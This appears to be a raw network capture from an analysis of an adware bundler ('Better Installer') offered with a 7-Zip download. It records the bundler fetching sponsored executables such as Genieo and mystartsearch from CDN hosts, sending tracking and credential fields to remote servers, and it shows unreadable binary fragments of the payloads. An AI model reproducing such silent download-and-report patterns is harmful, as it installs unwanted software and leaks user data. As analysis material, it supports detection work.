=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=1&index_in_screen=1&index_in_session=1&0.9914435842174836 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.2079935846.1424736079.1424736079.1424736079.1; __utmb=1.1.10.1424736079; __utmc=1; __utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:01:23 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:01:23 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=175063-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 25009

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 175063-200071/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OhhyFrxXXlRAum2OJ1-88hurrNu4jc9CKK8aJlmlx0Ri9QBfdDe10Q==
J.s..o.6Q.....Y........^?.....{D.i......B.M..... c(.r&.......M.ggR...T
....=".z`......v......w.\.(.4.v.....;.A5......d.......$..8O..../..P...
.....{n(.Cw7!.G..._...t.....f.............j.4....37.....%.C.xJcX.....U
....N.e...-[1..T#\.]....zU|.;Q...pLN$.`n....(=.7=YR76....1..?.Q..;.Zwe
....o 1..1g..#R.C,..6KX..q.s|.ik...Q\.}...O.....k..x...J...>.:W..=.
[email protected]....;.B.X.. ..c...[F.t[....}7..&........."G.....[..\].~*.
.....9.F....ljJ>\Qm'.IIUE.;....a......d..^.Y......W..J.M..0Q....n..
."N.5.'.@...&B...$j@J...... P...O.D..D..A.........l..]G6.r.sv..%^..' #
,..;cM"[email protected]#..-..0.MX......$...W......s%.b..8.#.3...1%...I.....[
..{.L.H...mE..T7.\.m.ur ..h......p1..Q....5O..4.....g......C........G.
E..24.j..v.o."..[\dZ.xH....&.J..._...l...zGF5 e.Vg..n...2......_.IQ.db
C?..I........Zr...,.S.}d.i..g?......./7.D.Y.7I..[.8.....?g.p...Pre...P
F.K.;......cm8...U....O~..b...b..}.O....].YB..w..2YU........o....z...L
.{7.....8....3^q..........3rB..N.M.........`..G...*[email protected]..
.........`.V.......c.9......A^..3?..^`..S`[email protected]. ...Kq..a..B
2Z.8..o.[?. ...&..2.p..\..r..P..%G%.%B..O......OE(...H6..aX.^,C.a<.
.........i.....!.?s .....d..8!...}V..>].VH.7...Es.NH..gv..........k
.d..........H..Q.%M^...'....._.:_^j...F4..E/...S.....Y..P...H&&<...
(...1......f.?.X-...........e....-.....n...h.g...Sh.......WN...$..DJ.g
5H..=M.}".n..t.".s......W.Ls......4o.....f5....."..o......a./.....%...
..xGl\.;.2.k.[.....k`.v........<d..~.B."...=!]...`B....f....j....P.
r.Is.l......6.A....L./k.........h...x.......I.AR...,.....]..}.....<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=281428-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 40204

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 281428-321631/321632

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hoEJKv0KVZY1pdzdVu9FVKechAY75I2DQWPsb9NZgTgWBQ9aURV5pg==

.h2..\...........................g2..]...........................f2..[
...............................I3') * )))*))()*   ,6J!54 CBA...jYPQTVT
SkllZTTXRTUiHceWda/..i...u....`..................._<bm....t^..}zy|y
x~....{|yvrrwsqpon....................................................
......................................................................
......................................................................
...................................................................(..
..... ...................................|WR......Q3..O1...b.sP?..Q2..
Q2..Y9..^G......`[email protected]................
..b...c...c...d...c...d...d...s ..x(...>..zZ..........g........x...
$...&...*... ... ...,...-...-.../...0...4...6...I.....................
......................................................................
..~~~.}}}.............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=201020-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 120612

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 201020-321631/321632

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5b4fJwSaY24s7j-joW5j_VEWK9V_Eer2R9Mj0tLF2598HFAH_09CPQ==
........................8...V...j.....................................
..........(...P...b...p.......p.......h...............................
................................H.................C...C...C...C...C.o.
C.{[email protected].`.C.........u.A...A.m.B...B.[.B...A..bB...........B.w.A.
...................T........<...8}[email protected]...`.....y.......
..K..t}C.$vA...A...A..vA..vA.gvA.generic..}C.$vA..vA..vA..vA..vA.gvA..
[email protected].....~C.$vA..vA..vA..vA..vA.gvA.system..T~C.$vA..vA
..vA..vA..vA.gvA.iostream stream error.....C..#A.*....~C..yA.C.....C.0
rA...A..~C..{[email protected]..{A...A.H.C.0rA...A.............bad allocation.
...C..{A...A.regular expression error.....$C.DsC.DsC..$C..$C.$$C.$$C.,
$C.4$C.<$C.D$C.L$C.T$C.\$C.....r...a...r.b.....w.b.....a.b.....r. .
....w. .....a. .....r. .b...w. .b...a. .b...................!..."...2.
..*...............#...3... .........C...A...A.Unknown exception.....C.
[email protected].................
......................csm................. ...........Visual C   CRT: 
Not enough memory to complete call to strerror..LC_TIME.LC_NUMERIC..LC
_MONETARY.LC_CTYPE....LC_COLLATE..LC_ALL...%C......{B..%C...C..{B..%C.
..C.R.A..%C...C.2xB..%C...C.DuB..%C...C.^tB...........................
..... !"#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.._.,.;...=...=;..................
......................................................................
..................................................................<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=864857-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: Vo9BI7 EBgG4V7DTJP4jE 4jzgjm5KZozejIJs5waSdOTnuUZIyUV2/p4A3MCmlhRswweiu1GnY=

x-amz-request-id: 9F0F0642E8D4D83C

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 864857-988407/988408

Content-Type: application/octet-stream

Content-Length: 123551

Server: AmazonS3
7f..]....|.5...[HZ-.....{\..Y......?...DQ....5Wp.!./...,LGv....- .....
.zw..x..B%9{..#....x.. Rp..by....KZ...k.t..y......8*.<.........L.d.
[email protected]..,...}..l....g....s.6*...".....F..f&.0.p..-....q....UN..
...^...-S.3.....@ /2.;......v.(.#....2.......Z.un....:....U.J4.......l
.....S.........Y....".W.1..r.-.!./.a.......v....6.......l..a.!.^.;..8.
t.]qeq..u..7'/..I.fEd.m....ij....L..R..$......0..1O.......D.C.........
n...^...eC~...>ec...xU?4......Y-s.F...y,..cM.....'.b.w-..z>U....
 .9.K.!4..y..&N...Y..$...R*........b....V....\6l...H..`.{.....4.Z.....
.X?.q.2Y.D..J.Z.z..~..p.JP(...v.#..P...._ ....G.s $..x[.e..$<V!....
h...I.h9O%,....R'S..F...*.G......I.Sp.1]....#|K.G..S........."=.XZ....
9.......S.DR..)9..x....:.....$......=....n.....{.J.......I..[..VLm.6l.
!=..Q.v.....f*....".)>..D.1......t..:9.....d5.).y|w..Z.(.=~....2Ix.
.o_;..........'..J.2Ds.!q.v.-.....#."..iq.:1A[d...]....,....-(.^Q..R.&
gt;..-=...[=.M.c...%.\hu.t...M...h.WC:r......|x)....[~k.[....d......@F
....X.....*..7YQ..Kai.m7.....Y...D.2.o.P......(J&>z..\[email protected]
#r`o.h.....c)y...=.x..%...%...A_.r.Po...}.........Uq...V.r....i.m].!..
.)d.....I..R.$..)*..V.z..O.).n.15.qP.]t.9..'.J2y..9?..S.....4C....a..%
.I....?g...5..M..cy.....o...........<...P.S3c.M../[=u.#.g.m.V._H=..
...E.>U.R..3"..u.|j.n..\...r*.....o.b...;.j\.H......g#..S........hv
..<..H!.(.......q.g .....Bc..u.E......./5.Qo....j....@^......J.....
_=.Iy..K.`.W..E.t...m.w.K..[<..e*.g(.T.fD=.........xeD.g....&.._.b.
.Lc.zvkn.Q.O..0NI...~.5.b%k...**.f...sk..)z[.0..JY.u:lJ?...'.M~.k.<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=40204-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 281428

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 40204-321631/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZaM6JTWFMgTm7eFVOvSOGIyIwMBh8oeVAE6kj4b0UfO_DxPVrCVzxQ==
...._^[..]..E........M..E..N .~..C.j......j.......I.g.@...@[email protected].@.*.
@...@...@...@. [email protected][email protected]<.......t....u..V..G(.O$RP.....
.>.u..V..G(.O$RP......F(.F4.F0.F8.......F......F ......t.j.j.j....F
<....G0.U..VW...G(.O [email protected]'.W(.G h....j.R......F$..u..O(.
W$VQ....._3.^]..G(.O Sj.P......F(..u .V$.G(.O$RP...W(.G$VR....._3.^]..
M....F,3..N8..........._..^]...U....0S....V...K..V4.M..N0.E..F W.~..E.
.U.;.s. ...... ....N, [email protected].}........)U..U.
...........E.............U..E....r..............V......1....$...@.....
.............. ....E......h.fC.h.VC.j.j....n.......F.....J....m.......
.............E................. s3.}....?...)U..M............E........
.....U..E... r..............;.......3.3..N..E.;.t.........a....N......
.....P....}.........}.........V,9U.u".F0.N(;.t..M.s. .H.E... ....U...u
\.M..E.Q.F4.u....N0.E..F4....E.;.s... .J...V, ..F,.U.9E.u..V(;.t..U.s.
 .I.M... ..E..}....X....F..M..E......E.;.v....M..M.;.v..M..U..E..M.RPQ
.T....E..E.)E..E.)E....)F..E..._....V...........N......s3.}........)U.
.M............E.............U..E....r.%.?........F....................
......S ........K(j.PQ......F..........m...E.....F.................N..
.....9N.sm...s3.}...._...)U..U............E.............U..E....r..N..
...gC..N........E.......V..N..............E.9N.r......9F.s".......V...
..gC..V.........F.9F.r..N$Q.V..F.RP.......F.P.........E.....6....F..E.
.......N...................9N...............E..N.;.s5.}....g...)U..U..
.......N.....E.............U..E.;.r....pVC..V.#......J..R..M..U...<<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=100036-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 100036

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 100036-200071/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KI2nVJzOuK-pqF0AC78K_AyBGl8YeHmcsk3UmCEl22bkdKt4VRmR0A==
..c.,Q....O;...sr........I.......[...M.^..Q...(...J.."....i.(<0.i..
.............H.Q...u..P..)..V7.m.).O.j..zT....%....21.....^-...x.O....
W..d.U..~...\O.a....DI.ac..y..1..........*.Z......S.....ig...D..nW.o..
.....q(..ebJ.QO.%..Y..a.b...a...,..j...L.F..xx..O:..Q..lo?.....IP.....
..If....&....bP=.p....$_...=..W...*...v/(Ps{....8.A.......VrXX....*...
T.U7..g...l....M.....G.a......J...6O..tW...*S._EL.<..ga..Kd{.."....
....................4Q.%.mLM.&.... .(5R.d\.r...M.A..&|.....".%D....K:.
..p.d.%%..2;...Tw.;.G\..:.z.M./.x~>_M.^o.m...4...AJ.....~z......K0.
...$9..#......v..!.k/.p.?.@a,..P.i.6.s..!?...c......~A#).....W5.%..Y..
$h..m....4.s..D..G%.5...6-..G.t$..T,..}(......p..c...{..E.......u.b ..
.K.2..)....~Qdf.X.1.!....: .'7.:.$..5.s<.b1..MP...o...W........T..A
0.{...........A.9qk7?t.'........B.) U....7.. k...S...O(..K..g.(.n..-`^
.P.....c;.y ..qj.....w.c.GH.4....^...rcf..v..h..c..E...Z..|...X...0.7.
.Vit..W......C..Y..e.=......X4....o....Lc%...-}lp.`..K.?.s........vE]_
~He.$.O.V..F.#..[...bVyU...?...B...,....pTK..>..c.....!..-.....Qi.)
V....1MXZ..<'..l.]..:.....m&H.~...g...(']....?Z...9m...l......h....
......3.q..]l1..kj..Y.w.;.$&..|.U. J`.....,...@l*.76.)..X....juE.[7..2
.}..e.I2.[X.Y..q.r)%...9.}..VG..=.p...([email protected]._..0
...0.2.6qH........P.?.L.v......n2w..$.~f....T...~K..d.\.U.A.N}..j|..Yt
s.....>Um#U....R...c....d.).8g.C. [email protected].;]. X.>.
3Qd.....s.|.._..(...Iz.z...I&..S].C.^....{]y.Z....i.w_...]V.j3.=F-7z..
.Z..j.^...p.x.l5>....'....A.$8=........O.....ad.....A.g&.;....:<<< skipped >>>

POST /online/Report.aspx HTTP/1.1

Content-Type: multipart/form-data;boundary=---------------------------608D02426E43

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Content-Length: 852

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55

-----------------------------608D02426E43

Content-Disposition: form-data; name="ProductID"

-----------------------------608D02426E43

Content-Disposition: form-data; name="Version"

3.3.9.4

-----------------------------608D02426E43

Content-Disposition: form-data; name="UserID"

8bbf5d60-0613-4bcc-93c8-28817ab1fcc2

-----------------------------608D02426E43

Content-Disposition: form-data; name="Password"

bbRSxORx

-----------------------------608D02426E43

Content-Disposition: form-data; name="XmlData"

<xml><VERSION>3.3.9.4</VERSION><ACCFAILUREINFO>kJ79Iwl e1s2/G8nRzh5ELBkVPoUjhogZ7pxoWdsrUU0WQQicfmo07WDE3STM32CP0gISt2/sLfwO4RkVciWc/kiuWQtfNTYfCc56FjccT1XXcVBUJlIVi2n2PaSTXVTobfpyd uyKERKswPDh1GAkRy6DZO1LiivytcG5MEgIAbtdK8bYfXZ1SeqXDIGTM3qRRGU6wa1Qw=</ACCFAILUREINFO></xml>

-----------------------------608D02426E43--


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 00:04:09 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 486
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h
ttp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html 
xmlns="hXXp://VVV.w3.org/1999/xhtml" >..<head><title>..
.Untitled Page..</title></head>..<body>..    <for
m name="form1" method="post" action="Report.aspx" id="form1">..<
input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwU
JNzgzNDMwNTMzZGS5uR/A3ROIkR45UlMsd92KJ/ALeg==" />..    <div>.
.    ..    </div>..    </form>..</body>..</html&g
t;....

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=40204-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 281428

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 40204-321631/321632

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QAOy8Kmfq2dfN3rgB3unxk8XUfuTnZWRWboOWVVXj90FUAv9Yr4elg==
...._^[..]..E........M..E..N .~..C.j......j.......I.g.@...@[email protected].@.*.
@...@...@...@. [email protected][email protected]<.......t....u..V..G(.O$RP.....
.>.u..V..G(.O$RP......F(.F4.F0.F8.......F......F ......t.j.j.j....F
<....G0.U..VW...G(.O [email protected]'.W(.G h....j.R......F$..u..O(.
W$VQ....._3.^]..G(.O Sj.P......F(..u .V$.G(.O$RP...W(.G$VR....._3.^]..
M....F,3..N8..........._..^]...U....0S....V...K..V4.M..N0.E..F W.~..E.
.U.;.s. ...... ....N, [email protected].}........)U..U.
...........E.............U..E....r..............V......1....$...@.....
.............. ....E......h.fC.h.VC.j.j....n.......F.....J....m.......
.............E................. s3.}....?...)U..M............E........
.....U..E... r..............;.......3.3..N..E.;.t.........a....N......
.....P....}.........}.........V,9U.u".F0.N(;.t..M.s. .H.E... ....U...u
\.M..E.Q.F4.u....N0.E..F4....E.;.s... .J...V, ..F,.U.9E.u..V(;.t..U.s.
 .I.M... ..E..}....X....F..M..E......E.;.v....M..M.;.v..M..U..E..M.RPQ
.T....E..E.)E..E.)E....)F..E..._....V...........N......s3.}........)U.
.M............E.............U..E....r.%.?........F....................
......S ........K(j.PQ......F..........m...E.....F.................N..
.....9N.sm...s3.}...._...)U..U............E.............U..E....r..N..
...gC..N........E.......V..N..............E.9N.r......9F.s".......V...
..gC..V.........F.9F.r..N$Q.V..F.RP.......F.P.........E.....6....F..E.
.......N...................9N...............E..N.;.s5.}....g...)U..U..
.......N.....E.............U..E.;.r....pVC..V.#......J..R..M..U...<<< skipped >>>

GET /software_files/7_zip/7zip_32.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: download.filesfrog.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:00:59 GMT

Content-Type: image/png

Content-Length: 145

Last-Modified: Mon, 10 Jun 2013 04:13:32 GMT

Connection: close

ETag: "51b5526c-91"

Accept-Ranges: bytes
.PNG........IHDR... ... .....I.......PLTE......U..~...FIDATx^[email protected].
....E..N......Y$.....0.R............=.........H.L........=D.Xg.....IEN
D.B`...

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZnhMA7qhI9huxa93Kg8j7-Yg-FRRp8LyfEoIKeNL73YUaCLXuRm5Hg==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfmRMnMnoBE379Ved lGhgWaM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXw8DDkunVjjbzAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO5m3PizUg/oK&product=EXTFirefox&rnd=1424736267&it=1&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1 HTTP/1.1

Host: rep.youtubeaccelerator.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:04:07 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 00:04:07 GMT..Content-Length: 0..

GET /ytai.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 21 Feb 2015 06:14:36 GMT

Content-Range: bytes 0-249999/1206160

X-Cache: RefreshHit from cloudfront

Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cqmbpdvXQX6PjhxghCejXjziWw1K0rdAICO5XuB9nUXYvYCssliCow==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......z.............nV\.......D.......{.......z.......................
........~.......@...............E.....Rich....................PE..L...
.F.T..........................................@.......................
...........z....@.................................$E..@...............
.....L..........|...................................X...@.............
...............................text............................... ..`
.rdata..(r.......t..................@[email protected]....^...p...4...V........
[email protected]...............................@[email protected]..|...........
[email protected]..................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.u.h..M.h..M..%...hp.I
...G..Y..].j..4.H.......e....D.M...I..E.......D.M...I..M..hz.I...G..Y.
*....j....H..O....M..h..I...G..Y......j....H.......M..h..I..oG..Y.....
....M..9...h..I..TG..Y..D.M......h..I..>G..Y.j....H.......e....L.M.
..I..M..h..I...G..Y......j....H.......e....H.M...I..E.......H.M...I..M
